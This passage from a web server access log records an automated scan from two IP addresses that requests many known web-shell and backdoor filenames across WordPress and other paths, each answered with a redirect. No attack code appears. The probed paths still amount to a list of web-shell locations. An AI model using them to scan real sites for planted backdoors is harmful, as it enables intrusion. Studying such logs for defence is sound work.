"-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:12 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:12 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:17:12 -0400] "GET /user/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:12 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:12 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:12 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:12 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:12 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:12 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:12 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:12 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:12 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:13 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:13 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:13 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:13 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:13 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:13 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:14 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:14 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:14 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:14 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:14 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:14 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:17:14 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:15 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:15 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:17:15 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:15 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:15 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:15 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:15 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:15 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:15 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:15 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:15 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:17:15 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:15 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:16 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:17:16 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /ssa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:16 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:17:16 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /hardenX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:16 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:16 -0400] "GET /.qiofetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:17:16 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:17 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:17 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:17:17 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:17 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /images/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:17:17 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:17 -0400] "GET /new2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:18 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:18 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:18 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:18 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:18 -0400] "GET /wp-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:18 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:18 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:18 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:18 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:18 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:18 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:18 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:18 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:18 -0400] "GET /backup/sid.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:18 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:17:19 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /ki.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:19 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:19 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:19 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:19 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; 